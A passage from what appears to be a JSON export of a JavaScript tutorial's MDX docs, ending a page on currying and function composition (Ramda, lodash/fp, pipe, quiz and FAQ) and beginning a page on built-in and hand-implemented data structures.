2)([1, 2, 3])  // [2, 4, 6]\n// Lodash/fp provides auto-curried, data-last versions\n```\n\n### Ramda: Built for Composition\n\n[Ramda](https://ramdajs.com/) is designed from the ground up for functional programming:\n\n```javascript\nimport * as R from 'ramda'\n\n// All functions are auto-curried\nR.add(1)(2)  // 3\nR.add(1, 2)  // 3\n\n// Data-last by default\nR.map(x => x * 2, [1, 2, 3])      // [2, 4, 6]\nR.map(x => x * 2)([1, 2, 3])      // [2, 4, 6]\n\n// Built-in compose and pipe\nconst processUser = R.pipe(\n  R.prop('name'),\n  R.trim,\n  R.toLower\n)\n\nprocessUser({ name: '  ALICE  ' })  // 'alice'\n```\n\n### Lodash/fp: Functional Lodash\n\nLodash provides a functional programming variant:\n\n```javascript\nimport fp from 'lodash/fp'\n\n// Auto-curried, data-last\nconst getAdultNames = fp.pipe(\n  fp.filter(user => user.age >= 18),\n  fp.map(fp.get('name')),\n  fp.sortBy(fp.identity)\n)\n\nconst users = [\n  { name: 'Charlie', age: 25 },\n  { name: 'Alice', age: 17 },\n  { name: 'Bob', age: 30 }\n]\n\ngetAdultNames(users)  // ['Bob', 'Charlie']\n```\n\n### Vanilla JavaScript Alternatives\n\nYou don't always need a library. Here are vanilla implementations for common patterns:\n\n```javascript\n// Curry\nconst curry = fn => {\n  return function curried(...args) {\n    return args.length >= fn.length\n      ? fn(...args)\n      : (...next) => curried(...args, ...next)\n  }\n}\n\n// Pipe and Compose\nconst pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x)\nconst compose = (...fns) => x => fns.reduceRight((acc, fn) => fn(acc), x)\n\n// Partial Application\nconst partial = (fn, ...presetArgs) => (...laterArgs) => fn(...presetArgs, ...laterArgs)\n\n// Data-last map and filter\nconst map = fn => arr => arr.map(fn)\nconst filter = fn => arr => arr.filter(fn)\nconst reduce = (fn, initial) => arr => arr.reduce(fn, initial)\n```\n\n### When to Use What?\n\n| Situation | Recommendation |\n|-----------|----------------|\n| Learning/small project | Vanilla JS implementations |\n| Already using Lodash | Use `lodash/fp` for functional code |\n| Heavy functional programming | Consider Ramda |\n| Bundle size matters | Vanilla JS or tree-shakeable imports |\n| Team familiarity | Match existing codebase patterns |\n\n---\n\n## Common Currying Mistakes\n\n### Mistake #1: Forgetting Curried Functions Return Functions\n\n```javascript\nconst add = a => b => a + b\n\n// ❌ Wrong: Forgot the second call\nconst result = add(1)\nconsole.log(result)  // [Function] - not a number!\n\n// ✓ Correct\nconst result = add(1)(2)\nconsole.log(result)  // 3\n```\n\n### Mistake #2: Wrong Argument Order\n\nFor composition to work, data should come last:\n\n```javascript\n// ❌ Data-first: hard to compose\nconst multiply = (value, factor) => value * factor\n\n// ✓ Data-last: composes well\nconst multiply = factor => value => value * factor\n\nconst double = multiply(2)\nconst triple = multiply(3)\n\npipe(double, triple)(5)  // 30\n```\n\n### Mistake #3: Currying Functions with Rest Parameters\n\n```javascript\nfunction sum(...nums) {\n  return nums.reduce((a, b) => a + b, 0)\n}\n\nconsole.log(sum.length)  // 0 - rest parameters have length 0!\n\n// Our curry won't work correctly\nconst curriedSum = curry(sum)\ncurriedSum(1)(2)(3)  // Calls immediately with just 1!\n```\n\n**Solution:** Specify arity explicitly:\n\n```javascript\nconst curryN = (fn, arity) => {\n  return function curried(...args) {\n    return args.length >= arity\n      ? fn(...args)\n      : (...next) => curried(...args, ...next)\n  }\n}\n\nconst curriedSum = curryN(sum, 3)\ncurriedSum(1)(2)(3)  // 6\n```\n\n---\n\n## Common Composition Mistakes\n\n### Mistake #1: Type Mismatches in Pipeline\n\nEach function's output must match the next function's expected input:\n\n```javascript\nconst getName = obj => obj.name       // Returns string\nconst getLength = arr => arr.length   // Expects array!\n\n// ❌ Broken pipeline\nconst broken = pipe(getName, getLength)\nbroken({ name: 'Alice' })  // 5 (works by accident - string has .length)\n\n// But what if getName returns something without .length?\nconst getAge = obj => obj.age  // Returns number\nconst getLength = arr => arr.length\n\nconst reallyBroken = pipe(getAge, getLength)\nreallyBroken({ age: 25 })  // undefined - numbers don't have .length\n```\n\n### Mistake #2: Side Effects in Pipelines\n\nComposed functions should be [pure](/concepts/pure-functions). Side effects make pipelines unpredictable:\n\n```javascript\n// ❌ Side effect in pipeline\nlet globalCounter = 0\nconst addAndCount = x => {\n  globalCounter++  // Side effect!\n  return x + 1\n}\n\n// This is unpredictable - depends on global state\nconst process = pipe(addAndCount, addAndCount)\n```\n\n### Mistake #3: Over-Composing\n\nSometimes explicit code is clearer than a point-free pipeline:\n\n```javascript\n// ❌ Too clever - hard to understand\nconst processUser = pipe(\n  prop('account'),\n  prop('settings'),\n  prop('preferences'),\n  prop('theme'),\n  defaultTo('light'),\n  eq('dark'),\n  ifElse(identity, always('🌙'), always('☀️'))\n)\n\n// ✓ Clearer\nfunction getThemeEmoji(user) {\n  const theme = user?.account?.settings?.preferences?.theme ?? 'light'\n  return theme === 'dark' ? '🌙' : '☀️'\n}\n```\n\n<Tip>\n**Rule of thumb:** Use composition when it makes code clearer, not just shorter. If a colleague would struggle to understand your pipeline, consider a more explicit approach.\n</Tip>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **Currying transforms `f(a, b, c)` into `f(a)(b)(c)`** — each call takes one argument and returns a function waiting for the next\n\n2. **Currying depends on closures** — each nested function \"closes over\" arguments from parent functions, remembering them\n\n3. **Currying ≠ Partial Application** — currying always produces unary functions; partial application fixes some args and takes the rest together\n\n4. **Function composition combines simple functions into complex ones** — output of one becomes input of the next\n\n5. **`pipe()` flows left-to-right, `compose()` flows right-to-left** — most developers prefer pipe because it reads in execution order\n\n6. **Currying enables composition** — curried functions take one input and return one output, perfect for chaining\n\n7. **\"Data-last\" ordering is essential** — put the data parameter last so curried functions compose naturally\n\n8. **Point-free style focuses on transformations** — no explicit data parameters, just a chain of operations\n\n9. **Libraries like Lodash/Ramda add powerful features** — placeholders, auto-currying, and battle-tested utilities\n\n10. **Vanilla JS implementations work for most cases** — `curry`, `pipe`, and `compose` are just a few lines each\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What's the difference between currying and partial application?\">\n    **Answer:**\n    \n    **Currying** transforms a function so that it takes arguments one at a time, returning a new function after each argument until all are received.\n    \n    **Partial application** fixes some arguments upfront and returns a function that takes the remaining arguments together.\n    \n    ```javascript\n    // Currying: one argument at a time\n    const curriedAdd = a => b => c => a + b + c\n    curriedAdd(1)(2)(3)  // 6\n    \n    // Partial application: fix some args, take rest together\n    const add = (a, b, c) => a + b + c\n    const partial = (fn, ...preset) => (...rest) => fn(...preset, ...rest)\n    const add1 = partial(add, 1)\n    add1(2, 3)  // 6 - takes remaining args at once\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: Implement a simple curry function\">\n    **Answer:**\n    \n    ```javascript\n    function curry(fn) {\n      return function curried(...args) {\n        if (args.length >= fn.length) {\n          return fn(...args)\n        }\n        return (...nextArgs) => curried(...args, ...nextArgs)\n      }\n    }\n    \n    // Usage\n    const add = (a, b, c) => a + b + c\n    const curriedAdd = curry(add)\n    \n    curriedAdd(1)(2)(3)   // 6\n    curriedAdd(1, 2)(3)   // 6\n    curriedAdd(1)(2, 3)   // 6\n    curriedAdd(1, 2, 3)   // 6\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 3: What's the difference between compose() and pipe()?\">\n    **Answer:**\n    \n    Both combine functions, but in opposite directions:\n    \n    - **`pipe(f, g, h)(x)`** — Left to right: `h(g(f(x)))`\n    - **`compose(f, g, h)(x)`** — Right to left: `f(g(h(x)))`\n    \n    ```javascript\n    const add1 = x => x + 1\n    const double = x => x * 2\n    const square = x => x * x\n    \n    // pipe: add1 first, then double, then square\n    pipe(add1, double, square)(3)     // ((3+1)*2)² = 64\n    \n    // compose: square first, then double, then add1\n    compose(add1, double, square)(3)  // (3²*2)+1 = 19\n    ```\n    \n    Most developers prefer `pipe` because functions are listed in execution order.\n  </Accordion>\n  \n  <Accordion title=\"Question 4: Why do currying and composition work well together?\">\n    **Answer:**\n    \n    Composition works best with functions that take one input and return one output. Currying transforms multi-argument functions into chains of single-argument functions, making them perfect for composition.\n    \n    ```javascript\n    // Without currying - can't compose\n    const add = (a, b) => a + b\n    const multiply = (a, b) => a * b\n    // How would you pipe these?\n    \n    // With currying - composes naturally\n    const add = a => b => a + b\n    const multiply = a => b => a * b\n    \n    const add5 = add(5)\n    const double = multiply(2)\n    \n    const add5ThenDouble = pipe(add5, double)\n    add5ThenDouble(10)  // 30\n    ```\n    \n    The key is \"data-last\" ordering: configure the function first, pass data last.\n  </Accordion>\n  \n  <Accordion title=\"Question 5: Implement sum(1)(2)(3)...(n)() that returns the total\">\n    **Answer:**\n    \n    This is a classic interview question. The trick is to return a function that can be called with more arguments OR returns the sum when called with no arguments:\n    \n    ```javascript\n    function sum(a) {\n      return function next(b) {\n        if (b === undefined) {\n          return a  // No more arguments, return sum\n        }\n        return sum(a + b)  // More arguments, keep accumulating\n      }\n    }\n    \n    sum(1)(2)(3)()        // 6\n    sum(1)(2)(3)(4)(5)()  // 15\n    sum(10)()             // 10\n    ```\n    \n    Alternative using `valueOf` for implicit conversion:\n    \n    ```javascript\n    function sum(a) {\n      const fn = b => sum(a + b)\n      fn.valueOf = () => a\n      return fn\n    }\n    \n    +sum(1)(2)(3)  // 6 (unary + triggers valueOf)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 6: What is 'point-free' style?\">\n    **Answer:**\n    \n    Point-free style (also called \"tacit programming\") is writing functions without explicitly mentioning their arguments. Instead of defining what to do with data, you compose operations.\n    \n    ```javascript\n    // Pointed style (explicit argument)\n    const getUpperName = user => user.name.toUpperCase()\n    \n    // Point-free style (no explicit argument)\n    const getUpperName = pipe(\n      prop('name'),\n      toUpperCase\n    )\n    \n    // Another example\n    // Pointed:\n    const doubleAll = numbers => numbers.map(x => x * 2)\n    \n    // Point-free:\n    const doubleAll = map(x => x * 2)\n    ```\n    \n    Point-free code focuses on the transformations rather than the data being transformed. It's often more declarative and can be easier to reason about, but can also be harder to read if overused.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is currying in JavaScript?\">\n    Currying transforms a function that takes multiple arguments into a sequence of functions, each taking a single argument. Instead of `f(a, b, c)`, you call `f(a)(b)(c)`. Each call returns a new function until all arguments are provided. This pattern relies on [closures](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures) to remember previously supplied arguments.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between currying and partial application?\">\n    Currying always produces a chain of unary (single-argument) functions. Partial application fixes some arguments of a function and returns a new function that takes the remaining ones — it can fix multiple arguments at once. For example, `bind()` in JavaScript performs partial application, not currying.\n  </Accordion>\n\n  <Accordion title=\"What is function composition in JavaScript?\">\n    Function composition combines two or more functions so the output of one becomes the input of the next. A `compose(f, g)` call creates a new function where `f(g(x))` is evaluated right-to-left. The `pipe()` variant runs left-to-right, which many developers find more readable.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between compose and pipe?\">\n    Both combine functions into a pipeline. `compose()` evaluates right-to-left: `compose(f, g, h)(x)` equals `f(g(h(x)))`. `pipe()` evaluates left-to-right: `pipe(h, g, f)(x)` equals `f(g(h(x)))`. The result is identical — only the argument order differs. Most developers prefer `pipe()` because it matches the natural reading direction.\n  </Accordion>\n\n  <Accordion title=\"When should I use currying in real projects?\">\n    Currying shines when you frequently reuse functions with some arguments fixed — for example, loggers with preset levels, API calls with preset base URLs, or validators with preset rules. Libraries like Lodash and Ramda use currying extensively. If you rarely reuse partially applied functions, currying adds unnecessary complexity.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Scope and Closures\" icon=\"lock\" href=\"/concepts/scope-and-closures\">\n    Currying depends on closures to remember arguments between calls\n  </Card>\n  <Card title=\"Higher-Order Functions\" icon=\"layer-group\" href=\"/concepts/higher-order-functions\">\n    Functions that return functions are the foundation of currying\n  </Card>\n  <Card title=\"Pure Functions\" icon=\"sparkles\" href=\"/concepts/pure-functions\">\n    Composed pipelines work best with pure, side-effect-free functions\n  </Card>\n  <Card title=\"Map, Reduce, Filter\" icon=\"filter\" href=\"/concepts/map-reduce-filter\">\n    Array methods that compose beautifully when curried\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Functions — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions\">\n    Complete guide to JavaScript functions, the building blocks of currying and composition\n  </Card>\n  <Card title=\"Closures — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures\">\n    Understanding closures is essential for understanding how currying preserves arguments\n  </Card>\n  <Card title=\"Array.prototype.reduce() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce\">\n    The reduce method powers our compose and pipe implementations\n  </Card>\n  <Card title=\"Array.prototype.reduceRight() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduceRight\">\n    Used in compose to process functions from right to left\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Currying — javascript.info\" icon=\"newspaper\" href=\"https://javascript.info/currying-partials\">\n    The definitive tutorial on currying with clear examples and an advanced curry implementation. Includes a practical logging example that shows real-world benefits.\n  </Card>\n  <Card title=\"A Quick Introduction to pipe() and compose()\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/pipe-and-compose-in-javascript-5b04004ac937/\">\n    Step-by-step debugger walkthrough showing exactly how pipe and compose work internally. The visual traces make the concept click.\n  </Card>\n  <Card title=\"Curry and Function Composition — Eric Elliott\" icon=\"newspaper\" href=\"https://medium.com/javascript-scene/curry-and-function-composition-2c208d774983\">\n    Part of the \"Composing Software\" series. Comprehensive coverage of how currying enables composition, with trace utilities for debugging pipelines.\n  </Card>\n  <Card title=\"Functional-Light JavaScript: Chapter 3 — Kyle Simpson\" icon=\"newspaper\" href=\"https://github.com/getify/Functional-Light-JS/blob/master/manuscript/ch3.md\">\n    Free online chapter covering function inputs, currying, and partial application in depth. Kyle Simpson explains the nuances between currying and partial application better than almost anyone.\n  </Card>\n  <Card title=\"Composing Software: The Book — Eric Elliott\" icon=\"newspaper\" href=\"https://medium.com/javascript-scene/composing-software-the-book-f31c77fc3ddc\">\n    Index to the complete \"Composing Software\" series covering functional programming, composition, functors, and more in JavaScript.\n  </Card>\n  <Card title=\"A Gentle Introduction to Functional JavaScript — James Sinclair\" icon=\"newspaper\" href=\"https://jrsinclair.com/articles/2016/gentle-introduction-to-functional-javascript-functions/\">\n    Covers practical functional JavaScript patterns including currying and composition with approachable explanations.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Currying — Fun Fun Function\" icon=\"video\" href=\"https://www.youtube.com/watch?v=iZLP4qOwY8I\">\n    Mattias Petter Johansson's entertaining explanation of currying as part of his beloved functional programming series. Great for visual learners.\n  </Card>\n  <Card title=\"Compose and Pipe — Web Dev Simplified\" icon=\"video\" href=\"https://www.youtube.com/watch?v=yd2FZ1kP5wE\">\n    Kyle Cook's clear, beginner-friendly walkthrough of compose and pipe with practical examples you can follow along with.\n  </Card>\n  <Card title=\"Learning Functional Programming with JavaScript — Anjana Vakil\" icon=\"video\" href=\"https://www.youtube.com/watch?v=e-5obm1G_FY\">\n    A beloved JSUnconf talk that explains functional programming concepts with clarity and humor. Anjana's approachable style makes abstract concepts feel tangible.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/data-structures.mdx",
    "content": "---\ntitle: \"Data Structures\"\nsidebarTitle: \"Data Structures: Organizing and Storing Data\"\ndescription: \"Learn JavaScript data structures: Arrays, Objects, Maps, Sets, Stacks, Queues, and Linked Lists. Know when to use each one.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Advanced Topics\"\n\"article:tag\": \"data structures, arrays, objects, maps, sets, stacks, queues, linked lists\"\n---\n\nWhy does finding an item in an array take longer as it grows? Why can you look up an object property instantly regardless of how many properties it has? The answer lies in **data structures**.\n\n```javascript\n// Array: searching gets slower as the array grows\nconst users = ['alice', 'bob', 'charlie', /* ...thousands more */]\nusers.includes('zara')  // Has to check every element - O(n)\n\n// Object: lookup is instant regardless of size\nconst userMap = { alice: 1, bob: 2, charlie: 3, /* ...thousands more */ }\nuserMap['zara']  // Direct access - O(1)\n```\n\nA **data structure** is a way of organizing data so it can be used efficiently. As Donald Knuth emphasizes in *The Art of Computer Programming*, the choice of data structure often matters more than the choice of algorithm. The right structure makes your code faster and cleaner. The wrong one can make simple operations painfully slow.\n\n<Info>\n**What you'll learn in this guide:**\n- JavaScript's built-in structures: Array, Object, Map, Set, WeakMap, WeakSet\n- When to use each built-in structure\n- How to implement: Stack, Queue, Linked List, Binary Search Tree\n- Choosing the right data structure for the job\n- Common interview questions and patterns\n</Info>\n\n<Warning>\n**Prerequisites:** This guide shows time complexity (like O(1) and O(n)) for operations. If you're not familiar with Big O notation, check out our [Algorithms & Big O guide](/concepts/algorithms-big-o) first. We also use [classes](/concepts/factories-classes) for implementations.\n</Warning>\n\n---\n\n## What Are Data Structures?\n\nThink of data structures like different ways to organize a library. You could:\n\n- **Stack books on a table** — Easy to add/remove from the top, but finding a specific book means digging through the pile\n- **Line them up on a shelf** — Easy to browse in order, but adding a book in the middle means shifting everything\n- **Organize by category with an index** — Finding any book is fast, but you need to maintain the index\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    DATA STRUCTURE TRADE-OFFS                             │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   ARRAY                    OBJECT/MAP               LINKED LIST          │\n│   ┌─┬─┬─┬─┬─┐              ┌────────────┐           ┌───┐   ┌───┐        │\n│   │0│1│2│3│4│              │ key: value │           │ A │──►│ B │──►     │\n│   └─┴─┴─┴─┴─┘              │ key: value │           └───┘   └───┘        │\n│                            └────────────┘                                │\n│   ✓ Fast index access      ✓ Fast key lookup       ✓ Fast insert/delete │\n│   ✓ Ordered                ✓ Flexible keys         ✗ Slow search        │\n│   ✗ Slow insert in middle  ✗ No order (Object)     ✗ No index access    │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nEvery data structure has trade-offs. Your job is to pick the one that makes your most frequent operations fast.\n\n---\n\n## JavaScript's Built-in Data Structures\n\nJavaScript gives you several data structures out of the box. Let's look at each one.\n\n### Arrays\n\nAn **[Array](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)** is an ordered collection of values, accessed by numeric index. It's the most common data structure in JavaScript.\n\n```javascript\nconst fruits = ['apple', 'banana', 'cherry']\n\n// Access by index - O(1)\nfruits[0]  // 'apple'\n\n// Add to end - O(1)\nfruits.push('date')  // ['apple', 'banana', 'cherry', 'date']\n\n// Remove from end - O(1)\nfruits.pop()  // 'date'\n\n// Add to beginning - O(n) - shifts all elements!\nfruits.unshift('apricot')  // ['apricot', 'apple', 'banana', 'cherry']\n\n// Search - O(n)\nfruits.indexOf('banana')  // 3\nfruits.includes('mango')  // false\n```\n\n**Time Complexity:**\n\n| Operation | Method | Complexity | Why |\n|-----------|--------|------------|-----|\n| Access by index | `arr[i]` | O(1) | Direct memory access |\n| Add/remove at end | `push()`, `pop()` | O(1) | No shifting needed |\n| Add/remove at start | `unshift()`, `shift()` | O(n) | Must shift all elements |\n| Search | `indexOf()`, `includes()` | O(n) | Must check each element |\n| Insert in middle | `splice()` | O(n) | Must shift elements after |\n\n**When to use Arrays:**\n- You need ordered data\n- You access elements by position\n- You mostly add/remove from the end\n- You need to iterate over all elements\n\n---\n\n### Objects\n\nAn **[Object](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object)** stores key-value pairs where keys are strings or Symbols. It's JavaScript's fundamental way to group related data.\n\n```javascript\nconst user = {\n  name: 'Alice',\n  age: 30,\n  email: 'alice@example.com'\n}\n\n// Access - O(1)\nuser.name        // 'Alice'\nuser['age']      // 30\n\n// Add/Update - O(1)\nuser.role = 'admin'\n\n// Delete - O(1)\ndelete user.email\n\n// Check if key exists - O(1)\n'name' in user           // true\nuser.hasOwnProperty('name')  // true\n```\n\n**Limitations of Objects:**\n- Keys are converted to strings (numbers become \"1\", \"2\", etc.)\n- Objects have a prototype chain (inherited properties)\n- No built-in `.size` property\n- As defined in the [ECMAScript specification](https://tc39.es/ecma262/#sec-ordinaryownpropertykeys), property order is preserved in ES2015+, but with specific rules: integer keys are sorted numerically first, then string keys appear in insertion order\n\n**When to use Objects:**\n- Storing entity data (user profiles, settings)\n- When keys are known strings\n- Configuration objects\n- JSON data\n\n---\n\n### Map\n\nA **[Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map)** is like an Object but with superpowers: keys can be *any* type, it maintains insertion order, and has a `.size` property.\n\n```javascript\nconst map = new Map()\n\n// Keys can be ANY type\nmap.set('string', 'works')\nmap.set(123, 'number key')\nmap.set({ id: 1 }, 'object key')\nmap.set(true, 'boolean key')\n\n// Access - O(1)\nmap.get('string')  // 'works'\nmap.get(123)       // 'number key'\n\n// Size is built-in\nmap.size  // 4\n\n// Check existence - O(1)\nmap.has('string')  // true\n\n// Delete - O(1)\nmap.delete(123)\n\n// Iteration (maintains insertion order)\nfor (const [key, value] of map) {\n  console.log(key, value)\n}\n```\n\n**Map vs Object:**\n\n| Feature | Map | Object |\n|---------|-----|--------|\n| Key types | Any | String or Symbol |\n| Order | Guaranteed insertion order | Preserved (integer keys sorted first) |\n| Size | `map.size` | `Object.keys(obj).length` |\n| Iteration | Directly iterable | Need `Object.keys()` |\n| Performance | Better for frequent add/delete | Better for static data |\n| Prototype | None | Has prototype chain |\n\n**When to use Map:**\n- Keys aren't strings (objects, functions, etc.)\n- You need to know the size frequently\n- You add/delete keys often\n- Order matters\n\n```javascript\n// Common use: counting occurrences\nfunction countWords(text) {\n  const words = text.toLowerCase().split(/\\s+/)\n  const counts = new Map()\n  \n  for (const word of words) {\n    counts.set(word, (counts.get(word) || 0) + 1)\n  }\n  \n  return counts\n}\n\ncountWords('the cat and the dog')\n// Map { 'the' => 2, 'cat' => 1, 'and' => 1, 'dog' => 1 }\n```\n\n---\n\n### Set\n\nA **[Set](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set)** stores unique values. Duplicates are automatically ignored.\n\n```javascript\nconst set = new Set()\n\n// Add values - O(1)\nset.add(1)\nset.add(2)\nset.add(2)  // Ignored - already exists\nset.add('hello')\n\nset.size  // 3 (not 4!)\n\n// Check existence - O(1)\nset.has(2)  // true\n\n// Delete - O(1)\nset.delete(1)\n\n// Iteration\nfor (const value of set) {\n  console.log(value)\n}\n```\n\n**The classic use case: removing duplicates**\n\n```javascript\nconst numbers = [1, 2, 2, 3, 3, 3, 4]\nconst unique = [...new Set(numbers)]  // [1, 2, 3, 4]\n```\n\n**Set Operations (ES2024+):**\n\n<Note>\nThese methods are part of ES2024 and are supported in all modern browsers as of late 2024. Check [browser compatibility](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set#browser_compatibility) if you need to support older browsers.\n</Note>\n\n```javascript\nconst a = new Set([1, 2, 3])\nconst b = new Set([2, 3, 4])\n\n// Union: elements in either set\na.union(b)  // Set {1, 2, 3, 4}\n\n// Intersection: elements in both sets\na.intersection(b)  // Set {2, 3}\n\n// Difference: elements in a but not in b\na.difference(b)  // Set {1}\n\n// Symmetric difference: elements in either but not both\na.symmetricDifference(b)  // Set {1, 4}\n\n// Subset check\nnew Set([1, 2]).isSubsetOf(a)  // true\n```\n\n**When to use Set:**\n- You need unique values\n- You check \"does this exist?\" frequently\n- Removing duplicates from arrays\n- Tracking visited items\n\n---\n\n### WeakMap and WeakSet\n\n<Accordion title=\"WeakMap and WeakSet (Advanced)\">\n\n**[WeakMap](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap)** and **[WeakSet](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet)** are special versions where keys (WeakMap) or values (WeakSet) are held \"weakly.\" This means they don't prevent garbage collection.\n\n**WeakMap:**\n- Keys must be objects (or non-registered symbols)\n- If the key object has no other references, it gets garbage collected\n- Not iterable (no `.keys()`, `.values()`, `.forEach()`)\n- No `.size` property\n\n```javascript\nconst privateData = new WeakMap()\n\nclass User {\n  constructor(name, password) {\n    this.name = name\n    // Store private data that can't be accessed externally\n    privateData.set(this, { password })\n  }\n  \n  checkPassword(input) {\n    return privateData.get(this).password === input\n  }\n}\n\nconst user = new User('Alice', 'secret123')\nuser.name  // 'Alice'\nuser.password  // undefined - it's private!\nuser.checkPassword('secret123')  // true\n\n// When 'user' is garbage collected, the private data is too\n```\n\n**WeakSet:**\n- Values must be objects\n- Useful for tracking which objects have been processed\n\n```javascript\nconst processed = new WeakSet()\n\nfunction processOnce(obj) {\n  if (processed.has(obj)) {\n    return  // Already processed\n  }\n  \n  processed.add(obj)\n  // Do expensive processing...\n}\n```\n\n**When to use Weak versions:**\n- Caching computed data for objects\n- Storing private instance data\n- Tracking objects without preventing garbage collection\n\n</Accordion>\n\n---\n\n## Implementing Common Data Structures\n\nJavaScript doesn't have built-in Stack, Queue, or Linked List classes, but they're easy to implement and important to understand.\n\n### Stack (LIFO)\n\nA **Stack** follows Last-In-First-Out: the last item added is the first removed. Think of a stack of plates.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                              STACK (LIFO)                                │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│     push(4)        pop()                                                 │\n│        │             │                                                   │\n│        ▼             ▼                                                   │\n│      ┌───┐         ┌───┐                                                 │\n│      │ 4 │ ◄─ top  │   │                                                 │\n│      ├───┤         ├───┤                                                 │\n│      │ 3 │         │ 3 │ ◄─ top                                          │\n│      ├───┤         ├───┤                                                 │\n│      │ 2 │         │ 2 │                                                 │\n│      ├───┤         ├───┤                                                 │\n│      │ 1 │         │ 1 │                                                 │\n│      └───┘         └───┘                                                 │\n│                                                                          │\n│   \"Last in, first out\" - like a stack of plates                          │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n**Real-world uses:**\n- Browser history (back button)\n- Undo/redo functionality\n- Function call stack\n- Expression evaluation (parentheses matching)\n\n**Implementation:**\n\n```javascript\nclass Stack {\n  constructor() {\n    this.items = []\n  }\n  \n  push(item) {\n    this.items.push(item)\n  }\n  \n  pop() {\n    return this.items.pop()\n  }\n  \n  peek() {\n    return this.items[this.items.length - 1]\n  }\n  \n  isEmpty() {\n    return this.items.length === 0\n  }\n  \n  size() {\n    return this.items.length\n  }\n}\n\n// Usage\nconst stack = new Stack()\nstack.push(1)\nstack.push(2)\nstack.push(3)\nstack.peek()   // 3 (look at top without removing)\nstack.pop()    // 3\nstack.pop()    // 2\nstack.size()   // 1\n```\n\n**Time Complexity:** All operations are O(1).\n\n---\n\n### Queue (FIFO)\n\nA **Queue** follows First-In-First-Out: the first item added is the first removed. Think of a line at a store. According to the [Stack Overflow Developer Survey 2023](https://survey.stackoverflow.co/2023/), queues and other fundamental data structures remain among the most commonly tested topics in technical interviews.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                              QUEUE (FIFO)                                │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   enqueue(4)                                        dequeue()            │\n│       │                                                 │                │\n│       ▼                                                 ▼                │\n│     ┌───┬───┬───┬───┐                             ┌───┬───┬───┐          │\n│     │ 4 │ 3 │ 2 │ 1 │  ───────────────────────►   │ 4 │ 3 │ 2 │          │\n│     └───┴───┴───┴───┘                             └───┴───┴───┘          │\n│     back          front                           back      front        │\n│                                                                          │\n│   \"First in, first out\" - like a line at a store                         │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n**Real-world uses:**\n- Task scheduling\n- Print queue\n- BFS graph traversal\n- Message queues\n\n**Implementation:**\n\n```javascript\nclass Queue {\n  constructor() {\n    this.items = []\n  }\n  \n  enqueue(item) {\n    this.items.push(item)\n  }\n  \n  dequeue() {\n    return this.items.shift()  // Note: O(n) with arrays!\n  }\n  \n  front() {\n    return this.items[0]\n  }\n  \n  isEmpty() {\n    return this.items.length === 0\n  }\n  \n  size() {\n    return this.items.length\n  }\n}\n\n// Usage\nconst queue = new Queue()\nqueue.enqueue('first')\nqueue.enqueue('second')\nqueue.enqueue('third')\nqueue.dequeue()  // 'first'\nqueue.front()    // 'second'\n```\n\n<Warning>\n**Performance note:** Using `shift()` on an array is O(n) because all remaining elements must be re-indexed. For performance-critical code, use a linked list implementation or an object with head/tail pointers.\n</Warning>\n\n---\n\n### Linked List\n\nA **Linked List** is a chain of nodes where each node points to the next. Unlike arrays, elements aren't stored in contiguous memory.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                            LINKED LIST                                   │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   head                                                     tail          │\n│     │                                                        │           │\n│     ▼                                                        ▼           │\n│   ┌──────────┐     ┌──────────┐     ┌──────────┐     ┌──────────┐       │\n│   │ value: 1 │     │ value: 2 │     │ value: 3 │     │ value: 4 │       │\n│   │ next: ───────► │ next: ───────► │ next: ───────► │ next: null│      │\n│   └──────────┘     └──────────┘     └──────────┘     └──────────┘       │\n│                                                                          │\n│   Nodes can be anywhere in memory - connected by references              │\n│                                                                          